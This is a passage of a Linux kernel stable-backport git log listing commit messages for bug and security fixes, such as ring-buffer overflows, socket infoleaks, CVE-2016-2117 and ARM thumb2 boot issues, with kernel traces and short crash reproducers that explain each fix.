(&dev->mutex){......}, at: [] __driver_attach+0x70/0xac [ 5.896946] #2: (tll_lock){+.+...}, at: [] omap_tll_enable+0x2c/0xd0 [ 5.896966] #3: (prepare_lock){+.+...}, at: [] clk_prepare_lock+0x48/0xe0 [ 5.897042] Modules linked in: wlcore_sdio(+) ehci_omap(+) dwc3_omap snd_soc_ts3a225e leds_is31fl319x bq27xxx_battery_i2c tsc2007 bq27xxx_battery bq2429x_charger ina2xx tca8418_keypad as5013 leds_tca6507 twl6040_vibra gpio_twl6040 bmp085_i2c(+) palmas_gpadc usb3503 palmas_pwrbutton bmg160_i2c(+) bmp085 bma150(+) bmg160_core bmp280 input_polldev snd_soc_omap_mcbsp snd_soc_omap_mcpdm snd_soc_omap snd_pcm_dmaengine [ 5.897048] Preemption disabled at:[< (null)>] (null) [ 5.897051] [ 5.897059] CPU: 0 PID: 994 Comm: udevd Not tainted 4.6.0-rc5-letux+ #233 [ 5.897062] Hardware name: Generic OMAP5 (Flattened Device Tree) [ 5.897076] [] (unwind_backtrace) from [] (show_stack+0x10/0x14) [ 5.897087] [] (show_stack) from [] (dump_stack+0x88/0xc0) [ 5.897099] [] (dump_stack) from [] (__schedule_bug+0xac/0xd0) [ 5.897111] [] (__schedule_bug) from [] (__schedule+0x88/0x7e4) [ 5.897120] [] (__schedule) from [] (schedule+0x9c/0xc0) [ 5.897129] [] (schedule) from [] (schedule_preempt_disabled+0x14/0x20) [ 5.897140] [] (schedule_preempt_disabled) from [] (mutex_lock_nested+0x258/0x43c) [ 5.897150] [] (mutex_lock_nested) from [] (clk_prepare_lock+0x48/0xe0) [ 5.897160] [] (clk_prepare_lock) from [] (clk_prepare+0x10/0x28) [ 5.897169] [] (clk_prepare) from [] (omap_tll_enable+0x64/0xd0) [ 5.897180] [] (omap_tll_enable) from [] (usbhs_runtime_resume+0x18/0x17c) [ 5.897192] [] (usbhs_runtime_resume) from [] (pm_generic_runtime_resume+0x2c/0x40) [ 5.897202] [] (pm_generic_runtime_resume) from [] (__rpm_callback+0x38/0x68) [ 5.897210] [] (__rpm_callback) from [] (rpm_callback+0x70/0x88) [ 5.897218] [] (rpm_callback) from [] (rpm_resume+0x4ec/0x7ec) [ 5.897227] [] (rpm_resume) from [] (__pm_runtime_resume+0x4c/0x64) [ 5.897236] [] (__pm_runtime_resume) from [] (driver_probe_device+0x30/0x70) [ 5.897246] [] (driver_probe_device) from [] (__driver_attach+0x88/0xac) [ 5.897256] [] (__driver_attach) from [] (bus_for_each_dev+0x50/0x84) [ 5.897267] [] (bus_for_each_dev) from [] (bus_add_driver+0xcc/0x1e4) [ 5.897276] [] (bus_add_driver) from [] (driver_register+0xac/0xf4) [ 5.897286] [] (driver_register) from [] (do_one_initcall+0x100/0x1b8) [ 5.897296] [] (do_one_initcall) from [] (do_init_module+0x58/0x1c0) [ 5.897304] [] (do_init_module) from [] (SyS_finit_module+0x88/0x90) [ 5.897313] [] (SyS_finit_module) from [] (ret_fast_syscall+0x0/0x1c) [ 5.912697] ------------[ cut here ]------------ [ 5.912711] WARNING: CPU: 0 PID: 994 at kernel/sched/core.c:2996 _raw_spin_unlock+0x28/0x58 [ 5.912717] DEBUG_LOCKS_WARN_ON(val > preempt_count()) Reported-by: H. Nikolaus Schaller Tested-by: H. Nikolaus Schaller Signed-off-by: Roger Quadros Signed-off-by: Lee Jones Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 2c4288923437566cf6f51206153488299b1b292e Author: Steven Rostedt (Red Hat) Date: Fri May 13 09:34:12 2016 -0400 ring-buffer: Prevent overflow of size in ring_buffer_resize() commit 59643d1535eb220668692a5359de22545af579f6 upstream. If the size passed to ring_buffer_resize() is greater than MAX_LONG - BUF_PAGE_SIZE then the DIV_ROUND_UP() will return zero. Here's the details: # echo 18014398509481980 > /sys/kernel/debug/tracing/buffer_size_kb tracing_entries_write() processes this and converts kb to bytes. 18014398509481980 << 10 = 18446744073709547520 and this is passed to ring_buffer_resize() as unsigned long size. size = DIV_ROUND_UP(size, BUF_PAGE_SIZE); Where DIV_ROUND_UP(a, b) is (a + b - 1)/b BUF_PAGE_SIZE is 4080 and here 18446744073709547520 + 4080 - 1 = 18446744073709551599 where 18446744073709551599 is still smaller than 2^64 2^64 - 18446744073709551599 = 17 But now 18446744073709551599 / 4080 = 4521260802379792 and size = size * 4080 = 18446744073709551360 This is checked to make sure its still greater than 2 * 4080, which it is. Then we convert to the number of buffer pages needed. nr_page = DIV_ROUND_UP(size, BUF_PAGE_SIZE) but this time size is 18446744073709551360 and 2^64 - (18446744073709551360 + 4080 - 1) = -3823 Thus it overflows and the resulting number is less than 4080, which makes 3823 / 4080 = 0 an nr_pages is set to this. As we already checked against the minimum that nr_pages may be, this causes the logic to fail as well, and we crash the kernel. There's no reason to have the two DIV_ROUND_UP() (that's just result of historical code changes), clean up the code and fix this bug. Cc: stable@vger.kernel.org # 3.5+ Fixes: 83f40318dab00 ("ring-buffer: Make removal of ring buffer pages atomic") Signed-off-by: Steven Rostedt Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 6de4897b399186a79fcf6462a4fd53d79f2f40e8 Author: Steven Rostedt (Red Hat) Date: Thu May 12 11:01:24 2016 -0400 ring-buffer: Use long for nr_pages to avoid overflow failures commit 9b94a8fba501f38368aef6ac1b30e7335252a220 upstream. The size variable to change the ring buffer in ftrace is a long. The nr_pages used to update the ring buffer based on the size is int. On 64 bit machines this can cause an overflow problem. For example, the following will cause the ring buffer to crash: # cd /sys/kernel/debug/tracing # echo 10 > buffer_size_kb # echo 8556384240 > buffer_size_kb Then you get the warning of: WARNING: CPU: 1 PID: 318 at kernel/trace/ring_buffer.c:1527 rb_update_pages+0x22f/0x260 Which is: RB_WARN_ON(cpu_buffer, nr_removed); Note each ring buffer page holds 4080 bytes. This is because: 1) 10 causes the ring buffer to have 3 pages. (10kb requires 3 * 4080 pages to hold) 2) (2^31 / 2^10 + 1) * 4080 = 8556384240 The value written into buffer_size_kb is shifted by 10 and then passed to ring_buffer_resize(). 8556384240 * 2^10 = 8761737461760 3) The size passed to ring_buffer_resize() is then divided by BUF_PAGE_SIZE which is 4080. 8761737461760 / 4080 = 2147484672 4) nr_pages is subtracted from the current nr_pages (3) and we get: 2147484669. This value is saved in a signed integer nr_pages_to_update 5) 2147484669 is greater than 2^31 but smaller than 2^32, a signed int turns into the value of -2147482627 6) As the value is a negative number, in update_pages_handler() it is negated and passed to rb_remove_pages() and 2147482627 pages will be removed, which is much larger than 3 and it causes the warning because not all the pages asked to be removed were removed. Link: https://bugzilla.kernel.org/show_bug.cgi?id=118001 Fixes: 7a8e76a3829f1 ("tracing: unified trace buffer") Reported-by: Hao Qin Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 66caccd5616c1726bbebad5d4af64849686c4c78 Author: Stefan Metzmacher Date: Tue May 3 10:52:30 2016 +0200 fs/cifs: correctly to anonymous authentication via NTLMSSP commit cfda35d98298131bf38fbad3ce4cd5ecb3cf18db upstream. See [MS-NLMP] 3.2.5.1.2 Server Receives an AUTHENTICATE_MESSAGE from the Client: ... Set NullSession to FALSE If (AUTHENTICATE_MESSAGE.UserNameLen == 0 AND AUTHENTICATE_MESSAGE.NtChallengeResponse.Length == 0 AND (AUTHENTICATE_MESSAGE.LmChallengeResponse == Z(1) OR AUTHENTICATE_MESSAGE.LmChallengeResponse.Length == 0)) -- Special case: client requested anonymous authentication Set NullSession to TRUE ... Only server which map unknown users to guest will allow access using a non-null NTChallengeResponse. For Samba it's the "map to guest = bad user" option. BUG: https://bugzilla.samba.org/show_bug.cgi?id=11913 CC: Stable Signed-off-by: Stefan Metzmacher Signed-off-by: Steve French Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 9963596cad67d6529039c47104917f8caf9763e8 Author: Kangjie Lu Date: Sun May 8 12:10:14 2016 -0400 net: fix a kernel infoleak in x25 module commit 79e48650320e6fba48369fccf13fd045315b19b8 upstream. Stack object "dte_facilities" is allocated in x25_rx_call_request(), which is supposed to be initialized in x25_negotiate_facilities. However, 5 fields (8 bytes in total) are not initialized. This object is then copied to userland via copy_to_user, thus infoleak occurs. Signed-off-by: Kangjie Lu Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 8835661e72cc16908f1980d477509fcdba5a7a72 Author: Nikolay Aleksandrov Date: Wed May 4 16:18:45 2016 +0200 net: bridge: fix old ioctl unlocked net device walk commit 31ca0458a61a502adb7ed192bf9716c6d05791a5 upstream. get_bridge_ifindices() is used from the old "deviceless" bridge ioctl calls which aren't called with rtnl held. The comment above says that it is called with rtnl but that is not really the case. Here's a sample output from a test ASSERT_RTNL() which I put in get_bridge_ifindices and executed "brctl show": [ 957.422726] RTNL: assertion failed at net/bridge//br_ioctl.c (30) [ 957.422925] CPU: 0 PID: 1862 Comm: brctl Tainted: G W O 4.6.0-rc4+ #157 [ 957.423009] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.8.1-20150318_183358- 04/01/2014 [ 957.423009] 0000000000000000 ffff880058adfdf0 ffffffff8138dec5 0000000000000400 [ 957.423009] ffffffff81ce8380 ffff880058adfe58 ffffffffa05ead32 0000000000000001 [ 957.423009] 00007ffec1a444b0 0000000000000400 ffff880053c19130 0000000000008940 [ 957.423009] Call Trace: [ 957.423009] [] dump_stack+0x85/0xc0 [ 957.423009] [] br_ioctl_deviceless_stub+0x212/0x2e0 [bridge] [ 957.423009] [] sock_ioctl+0x22b/0x290 [ 957.423009] [] do_vfs_ioctl+0x95/0x700 [ 957.423009] [] SyS_ioctl+0x79/0x90 [ 957.423009] [] entry_SYSCALL_64_fastpath+0x23/0xc1 Since it only reads bridge ifindices, we can use rcu to safely walk the net device list. Also remove the wrong rtnl comment above. Signed-off-by: Nikolay Aleksandrov Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit a3744ecb54a7121c4f1792c1f1a337203a31d7a0 Author: Ian Campbell Date: Wed May 4 14:21:53 2016 +0100 VSOCK: do not disconnect socket when peer has shutdown SEND only commit dedc58e067d8c379a15a8a183c5db318201295bb upstream. The peer may be expecting a reply having sent a request and then done a shutdown(SHUT_WR), so tearing down the whole socket at this point seems wrong and breaks for me with a client which does a SHUT_WR. Looking at other socket family's stream_recvmsg callbacks doing a shutdown here does not seem to be the norm and removing it does not seem to have had any adverse effects that I can see. I'm using Stefan's RFC virtio transport patches, I'm unsure of the impact on the vmci transport. Signed-off-by: Ian Campbell Cc: "David S. Miller" Cc: Stefan Hajnoczi Cc: Claudio Imbrenda Cc: Andy King Cc: Dmitry Torokhov Cc: Jorgen Hansen Cc: Adit Ranadive Cc: netdev@vger.kernel.org Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit b692c2f2a49b8704d0d4f7221739b85c0004b1b2 Author: Kangjie Lu Date: Tue May 3 16:35:05 2016 -0400 net: fix infoleak in llc commit b8670c09f37bdf2847cc44f36511a53afc6161fd upstream. The stack object “info†has a total size of 12 bytes. Its last byte is padding which is not initialized and leaked via “put_cmsgâ€Â. Signed-off-by: Kangjie Lu Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 409b04214128069d35ab4a5175f7d90c7322f760 Author: Ben Hutchings Date: Wed Apr 20 23:23:08 2016 +0100 atl2: Disable unimplemented scatter/gather feature commit f43bfaeddc79effbf3d0fcb53ca477cca66f3db8 upstream. atl2 includes NETIF_F_SG in hw_features even though it has no support for non-linear skbs. This bug was originally harmless since the driver does not claim to implement checksum offload and that used to be a requirement for SG. Now that SG and checksum offload are independent features, if you explicitly enable SG *and* use one of the rare protocols that can use SG without checkusm offload, this potentially leaks sensitive information (before you notice that it just isn't working). Therefore this obscure bug has been designated CVE-2016-2117. Reported-by: Justin Yackoski Signed-off-by: Ben Hutchings Fixes: ec5f06156423 ("net: Kill link between CSUM and SG features.") Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit b5036709430551f8bd394144aa94dc47f5dbc13c Author: Mathias Krause Date: Sun Apr 10 12:52:28 2016 +0200 packet: fix heap info leak in PACKET_DIAG_MCLIST sock_diag interface commit 309cf37fe2a781279b7675d4bb7173198e532867 upstream. Because we miss to wipe the remainder of i->addr[] in packet_mc_add(), pdiag_put_mclist() leaks uninitialized heap bytes via the PACKET_DIAG_MCLIST netlink attribute. Fix this by explicitly memset(0)ing the remaining bytes in i->addr[]. Fixes: eea68e2f1a00 ("packet: Report socket mclist info via diag module") Signed-off-by: Mathias Krause Cc: Eric W. Biederman Cc: Pavel Emelyanov Acked-by: Pavel Emelyanov Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 0845b510c00e187d431867555c5a19415edc834e Author: Chris Friesen Date: Fri Apr 8 15:21:30 2016 -0600 route: do not cache fib route info on local routes with oif commit d6d5e999e5df67f8ec20b6be45e2229455ee3699 upstream. For local routes that require a particular output interface we do not want to cache the result. Caching the result causes incorrect behaviour when there are multiple source addresses on the interface. The end result being that if the intended recipient is waiting on that interface for the packet he won't receive it because it will be delivered on the loopback interface and the IP_PKTINFO ipi_ifindex will be set to the loopback interface as well. This can be tested by running a program such as "dhcp_release" which attempts to inject a packet on a particular interface so that it is received by another program on the same board. The receiving process should see an IP_PKTINFO ipi_ifndex value of the source interface (e.g., eth1) instead of the loopback interface (e.g., lo). The packet will still appear on the loopback interface in tcpdump but the important aspect is that the CMSG info is correct. Sample dhcp_release command line: dhcp_release eth1 192.168.204.222 02:11:33:22:44:66 Signed-off-by: Allain Legacy Signed off-by: Chris Friesen Reviewed-by: Julian Anastasov Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit ebe73cdebcbb2a3917cd528d1605cf1ad77cc744 Author: David S. Miller Date: Sun Apr 10 23:01:30 2016 -0400 decnet: Do not build routes to devices without decnet private data. commit a36a0d4008488fa545c74445d69eaf56377d5d4e upstream. In particular, make sure we check for decnet private presence for loopback devices. Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 414a30b79a54dc1698b41b6055701223b2629758 Author: Tony Lindgren Date: Thu May 28 07:22:08 2015 -0700 ARM: OMAP3: Fix booting with thumb2 kernel commit d8a50941c91a68da202aaa96a3dacd471ea9c693 upstream. We get a NULL pointer dereference on omap3 for thumb2 compiled kernels: Internal error: Oops: 80000005 [#1] SMP THUMB2 ... [] (_raw_spin_unlock_irqrestore) from [] (omap3_enter_idle_bm+0xc5/0x178) [] (omap3_enter_idle_bm) from [] (cpuidle_enter_state+0x77/0x27c) [] (cpuidle_enter_state) from [] (cpu_startup_entry+0x155/0x23c) [] (cpu_startup_entry) from [] (start_kernel+0x32f/0x338) [] (start_kernel) from [<8000807f>] (0x8000807f) The power management related assembly on omaps needs to interact with ARM mode bootrom code, so we need to keep most of the related assembly in ARM mode. Turns out this error is because of missing ENDPROC for assembly code as suggested by Stephen Boyd . Let's fix the problem by adding ENDPROC in two places to sleep34xx.S. Let's also remove the now duplicate custom code for mode switching. This has been unnecessary since commit 6ebbf2ce437b ("ARM: convert all "mov.* pc, reg" to "bx reg" for ARMv6+"). And let's also remove the comments about local variables, they are now just confusing after the ENDPROC. The reason why ENDPROC makes a difference is it sets .type and then the compiler knows what to do with the thumb bit as explained at: https://wiki.ubuntu.com/ARM/Thumb2PortingHowto Reported-by: Kevin Hilman Tested-by: Kevin Hilman Signed-off-by: Tony Lindgren Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit b279defd482ab291e674e7877da9e1e873bb2d50 Author: Andi Kleen Date: Sat Feb 8 08:52:00 2014 +0100 asmlinkage, pnp: Make variables used from assembler code visible commit a99aa42d0253f033cbb85096d3f2bd82201321e6 upstream. Mark variables referenced from assembler files visible. This fixes compile problems with LTO. Cc: Jaroslav Kysela Signed-off-by: Andi Kleen Link: http://lkml.kernel.org/r/1391845930-28580-4-git-send-email-ak@linux.intel.com Signed-off-by: H. Peter Anvin Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 8b97e06aeda6fa4a2d55389ba567c29736048e60 Author: Marek Szyprowski Date: Mon May 9 09:31:47 2016 -0700 Input: max8997-haptic - fix NULL pointer dereference commit 6ae645d5fa385f3787bf1723639cd907fe5865e7 upstream. NULL pointer derefence happens when booting with DTB because the platform data for haptic device is not set in supplied data from parent MFD device. The MFD device creates only platform data (from Device Tree) for itself, not for haptic child. Unable to handle kernel NULL pointer dereference at virtual address 0000009c pgd = c0004000 [0000009c] *pgd=00000000 Internal error: Oops: 5 [#1] PREEMPT SMP ARM (max8997_haptic_probe) from [] (platform_drv_probe+0x4c/0xb0) (platform_drv_probe) from [] (driver_probe_device+0x214/0x2c0) (driver_probe_device) from [] (__driver_attach+0xac/0xb0) (__driver_attach) from [] (bus_for_each_dev+0x68/0x9c) (bus_for_each_dev) from [] (bus_add_driver+0x1a0/0x218) (bus_add_driver) from [] (driver_register+0x78/0xf8) (driver_register) from [] (do_one_initcall+0x90/0x1d8) (do_one_initcall) from [] (kernel_init_freeable+0x15c/0x1fc) (kernel_init_freeable) from [] (kernel_init+0x8/0x114) (kernel_init) from [] (ret_from_fork+0x14/0x3c) Signed-off-by: Marek Szyprowski Cc: Fixes: 104594b01ce7 ("Input: add driver support for MAX8997-haptic") [k.kozlowski: Write commit message, add CC-stable] Signed-off-by: Krzysztof Kozlowski Signed-off-by: Dmitry Torokhov Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 1472994fe3852ff6db8430f5b9ac8f4df645e3e2 Author: Al Viro Date: Thu May 5 16:25:35 2016 -0400 get_rock_ridge_filename(): handle malformed NM entries commit 99d825822eade8d827a1817357cbf3f889a552d6 upstream. Payloads of NM entries are not supposed to contain NUL. When we run into such, only the part prior to the first NUL goes into the concatenation (i.e. the directory entry name being encoded by a bunch of NM entries). We do stop when the amount collected so far + the claimed amount in the current NM entry exceed 254. So far, so good, but what we return as the total length is the sum of *claimed* sizes, not the actual amount collected. And that can grow pretty large - not unlimited, since you'd need to put CE entries in between to be able to get more than the maximum that could be contained in one isofs directory entry / continuation chunk and we are stop once we'd encountered 32 CEs, but you can get about 8Kb easily. And that's what will be passed to readdir callback as the name length. 8Kb __copy_to_user() from a buffer allocated by __get_free_page() Cc: stable@vger.kernel.org # 0.98pl6+ (yes, really) Signed-off-by: Al Viro Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 0f10a603758df7b6f6b9bb83fb1cce8a4e38e162 Author: Herbert Xu Date: Wed May 4 17:52:56 2016 +0800 crypto: hash - Fix page length clamping in hash walk commit 13f4bb78cf6a312bbdec367ba3da044b09bf0e29 upstream. The crypto hash walk code is broken when supplied with an offset greater than or equal to PAGE_SIZE. This patch fixes it by adjusting walk->pg and walk->offset when this happens. Cc: Reported-by: Steffen Klassert Signed-off-by: Herbert Xu Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 859a26d0cf1ed0adb52e1bef9b938da3abcfbf41 Author: Anton Blanchard Date: Fri Apr 15 12:06:13 2016 +1000 powerpc: scan_features() updates incorrect bits for REAL_LE commit 6997e57d693b07289694239e52a10d2f02c3a46f upstream. The REAL_LE feature entry in the ibm_pa_feature struct is missing an MMU feature value, meaning all the remaining elements initialise the wrong values. This means instead of checking for byte 5, bit 0, we check for byte 0, bit 0, and then we incorrectly set the CPU feature bit as well as MMU feature bit 1 and CPU user feature bits 0 and 2 (5). Checking byte 0 bit 0 (IBM numbering), means we're looking at the "Memory Management Unit (MMU)" feature - ie. does the CPU have an MMU. In practice that bit is set on all platforms which have the property. This means we set CPU_FTR_REAL_LE always. In practice that seems not to matter because all the modern cpus which have this property also implement REAL_LE, and we've never needed to disable it. We're also incorrectly setting MMU feature bit 1, which is: #define MMU_FTR_TYPE_8xx 0x00000002 Luckily the only place that looks for MMU_FTR_TYPE_8xx is in Book3E code, which can't run on the same cpus as scan_features(). So this also doesn't matter in practice. Finally in the CPU user feature mask, we're setting bits 0 and 2. Bit 2 is not currently used, and bit 0 is: #define PPC_FEATURE_PPC_LE 0x00000001 Which says the CPU supports the old style "PPC Little Endian" mode. Again this should be harmless in practice as no 64-bit CPUs implement that mode. Fix the code by adding the missing initialisation of the MMU feature. Also add a comment marking CPU user feature bit 2 (0x4) as reserved. It would be unsafe to start using it as old kernels incorrectly set it. Fixes: 44ae3ab3358e ("powerpc: Free up some CPU feature bits by moving out MMU-related features") Signed-off-by: Anton Blanchard [mpe: Flesh out changelog, add comment reserving 0x4] Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 988c5729aea80b488c436de2ec52ad428cefb0ce Author: Andrey Gelman Date: Tue Oct 6 15:43:43 2015 -0700 Input: ads7846 - correct the value got from SPI commit 879f2fea8a5a748bcbf98d2cdce9139c045505d3 upstream. According to the touch controller spec, SPI return a 16 bit value, only 12 bits are valid, they are bit[14-3]. The value of MISO and MOSI can be configured when SPI is in idle mode. Currently this touch driver assumes the SPI bus sets the MOSI and MISO in low level when SPI bus is in idle mode. So the bit[15] of the value got from SPI bus is always 0. But when SPI bus congfigures the MOSI and MISO in high level during the SPI idle mode, the bit[15] of the value get from SPI is always 1. If bit[15] is not masked, we may get the wrong value. Mask the invalid bit to make sure the correct value gets returned. Regardless of the SPI bus idle configuration. Signed-off-by: Andrey Gelman Signed-off-by: Haibo Chen Signed-off-by: Igor Grinberg Signed-off-by: Dmitry Torokhov Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 44646f9a60cf058e564f63c7bd018ec8000c0a75 Author: Jasem Mutlaq Date: Tue Apr 19 10:38:27 2016 +0300 USB: serial: cp210x: add Straizona Focusers device ids commit 613ac23a46e10d4d4339febdd534fafadd68e059 upstream. Adding VID:PID for Straizona Focusers to cp210x driver. Signed-off-by: Jasem Mutlaq Cc: stable Signed-off-by: Johan Hovold Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 7979d1ed6e65e8c4b58b2e0794e24adce8de5f72 Author: Mike Manning Date: Mon Apr 18 12:13:23 2016 +0000 USB: serial: cp210x: add ID for Link ECU commit 1d377f4d690637a0121eac8701f84a0aa1e69a69 upstream. The Link ECU is an aftermarket ECU computer for vehicles that provides full tuning abilities as well as datalogging and displaying capabilities via the USB to Serial adapter built into the device. Signed-off-by: Mike Manning Cc: stable Signed-off-by: Johan Hovold Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit bb33d492c6e31557ebd39a803c6ba99877a94027 Author: Prarit Bhargava Date: Wed May 4 13:48:56 2016 +0800 ACPICA: Dispatcher: Update thread ID for recursive method calls commit 93d68841a23a5779cef6fb9aa0ef32e7c5bd00da upstream. ACPICA commit 7a3bd2d962f221809f25ddb826c9e551b916eb25 Set the mutex owner thread ID. Original patch from: Prarit Bhargava Link: https://bugzilla.kernel.org/show_bug.cgi?id=115121 Link: https://github.com/acpica/acpica/commit/7a3bd2d9 Signed-off-by: Prarit Bhargava Tested-by: Andy Lutomirski # On a Dell XPS 13 9350 Signed-off-by: Bob Moore Signed-off-by: Lv Zheng Cc: All applicable Signed-off-by: Rafael J. Wysocki Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit e65ad533445f651a2fb7cd480c9172cc2746f73e Author: Matt Fleming Date: Tue May 3 20:29:39 2016 +0100 MAINTAINERS: Remove asterisk from EFI directory names commit e8dfe6d8f6762d515fcd4f30577f7bfcf7659887 upstream. Mark reported that having asterisks on the end of directory names confuses get_maintainer.pl when it encounters subdirectories, and that my name does not appear when run on drivers/firmware/efi/libstub. Reported-by: Mark Rutland Signed-off-by: Matt Fleming Cc: Cc: Ard Biesheuvel Cc: Catalin Marinas Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: linux-efi@vger.kernel.org Link: http://lkml.kernel.org/r/1462303781-8686-2-git-send-email-matt@codeblueprint.co.uk Signed-off-by: Ingo Molnar Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 29c5a83cadd84a7a1852b28a2fd7f4086d0201fa Author: Linus Lüssing Date: Fri Mar 11 14:04:49 2016 +0100 batman-adv: Fix broadcast/ogm queue limit on a removed interface commit c4fdb6cff2aa0ae740c5f19b6f745cbbe786d42f upstream. When removing a single interface while a broadcast or ogm packet is still pending then we will free the forward packet without releasing the queue slots again. This patch is supposed to fix this issue. Fixes: 6d5808d4ae1b ("batman-adv: Add missing hardif_free_ref in forw_packet_free") Signed-off-by: Linus Lüssing [sven@narfation.org: fix conflicts with current version] Signed-off-by: Sven Eckelmann Signed-off-by: Marek Lindner Signed-off-by: Antonio Quartulli Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 303f1f32bc83c424ecf9665b8313ba6544859c70 Author: Sascha Hauer Date: Wed Apr 20 13:34:31 2016 +0000 ARM: SoCFPGA: Fix secondary CPU startup in thumb2 kernel commit 5616f36713ea77f57ae908bf2fef641364403c9f upstream. The secondary CPU starts up in ARM mode. When the kernel is compiled in thumb2 mode we have to explicitly compile the secondary startup trampoline in ARM mode, otherwise the CPU will go to Nirvana. Signed-off-by: Sascha Hauer Reported-by: Steffen Trumtrar Suggested-by: Ard Biesheuvel Signed-off-by: Dinh Nguyen Signed-off-by: Kevin Hilman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 28967513ea3a762237eefee565f39db5e1f948f3 Author: Arnd Bergmann Date: Mon Mar 14 15:29:44 2016 +0100 lpfc: fix misleading indentation commit aeb6641f8ebdd61939f462a8255b316f9bfab707 upstream. gcc-6 complains about the indentation of the lpfc_destroy_vport_work_array() call in lpfc_online(), which clearly doesn't look right: drivers/scsi/lpfc/lpfc_init.c: In function 'lpfc_online': drivers/scsi/lpfc/lpfc_init.c:2880:3: warning: statement is indented as if it were guarded by... [-Wmisleading-indentation] lpfc_destroy_vport_work_array(phba, vports); ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~ drivers/scsi/lpfc/lpfc_init.c:2863:2: note: ...this 'if' clause, but it is not if (vports != NULL) ^~ Looking at the patch that introduced this code, it's clear that the behavior is correct and the indentation is wrong. This fixes the indentation and adds curly braces around the previous if() block for clarity, as that is most likely what caused the code to be misindented in the first place. Signed-off-by: Arnd Bergmann Fixes: 549e55cd2a1b ("[SCSI] lpfc 8.2.2 : Fix locking around HBA's port_list") Reviewed-by: Sebastian Herbszt Reviewed-by: Hannes Reinecke Reviewed-by: Ewan D. Milne Signed-off-by: Martin K. Petersen Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 721d4024b2a2ad9ca55b4ea61de059d90a156862 Author: Linus Walleij Date: Wed Feb 24 09:39:11 2016 +0100 clk: versatile: sp810: support reentrance commit ec7957a6aa0aaf981fb8356dc47a2cdd01cde03c upstream. Despite care take to allocate clocks state containers the SP810 driver actually just supports creating one instance: all clocks registered for every instance will end up with the exact same name and __clk_init() will fail. Rename the timclken<0> .. timclken to sp810__ so every clock on every instance gets a unique name. This is necessary for the RealView PBA8 which has two SP810 blocks: the second block will not register its clocks unless every clock on every instance is unique and results in boot logs like this: ------------[ cut here ]------------ WARNING: CPU: 0 PID: 0 at ../drivers/clk/versatile/clk-sp810.c:137 clk_sp810_of_setup+0x110/0x154() Modules linked in: CPU: 0 PID: 0 Comm: swapper/0 Not tainted 4.5.0-rc2-00030-g352718fc39f6-dirty #225 Hardware name: ARM RealView Machine (Device Tree Support) [] (unwind_backtrace) from [] (show_stack+0x10/0x14) [] (show_stack) from [] (dump_stack+0x84/0x9c) [] (dump_stack) from [] (warn_slowpath_common+0x74/0xb0) [] (warn_slowpath_common) from [] (warn_slowpath_null+0x1c/0x24) [] (warn_slowpath_null) from [] (clk_sp810_of_setup+0x110/0x154) [] (clk_sp810_of_setup) from [] (of_clk_init+0x12c/0x1c8) [] (of_clk_init) from [] (time_init+0x20/0x2c) [] (time_init) from [] (start_kernel+0x244/0x3c4) [] (start_kernel) from [<7000807c>] (0x7000807c) ---[ end trace cb88537fdc8fa200 ]--- Cc: Michael Turquette Cc: Pawel Moll Fixes: 6e973d2c4385 "clk: vexpress: Add separate SP810 driver" Signed-off-by: Linus Walleij Signed-off-by: Stephen Boyd Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 14aff9e5e80f0b7e4771fc9ae541c3553673b8be Author: Dan Streetman Date: Thu Jan 14 13:42:32 2016 -0500 nbd: ratelimit error msgs after socket close commit da6ccaaa79caca4f38b540b651238f87215217a2 upstream. Make the "Attempted send on closed socket" error messages generated in nbd_request_handler() ratelimited. When the nbd socket is shutdown, the nbd_request_handler() function emits an error message for every request remaining in its queue. If the queue is large, this will spam a large amount of messages to the log. There's no need for a separate error message for each request, so this patch ratelimits it. In the specific case this was found, the system was virtual and the error messages were logged to the serial port, which overwhelmed it. Fixes: 4d48a542b427 ("nbd: fix I/O hang on disconnected nbds") Signed-off-by: Dan Streetman Signed-off-by: Markus Pargmann Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit c60097a45842ab7798622b675316a926ccc067bc Author: Marco Angaroni Date: Sat Mar 5 12:10:02 2016 +0100 ipvs: correct initial offset of Call-ID header search in SIP persistence engine commit 7617a24f83b5d67f4dab1844956be1cebc44aec8 upstream. The IPVS SIP persistence engine is not able to parse the SIP header "Call-ID" when such header is inserted 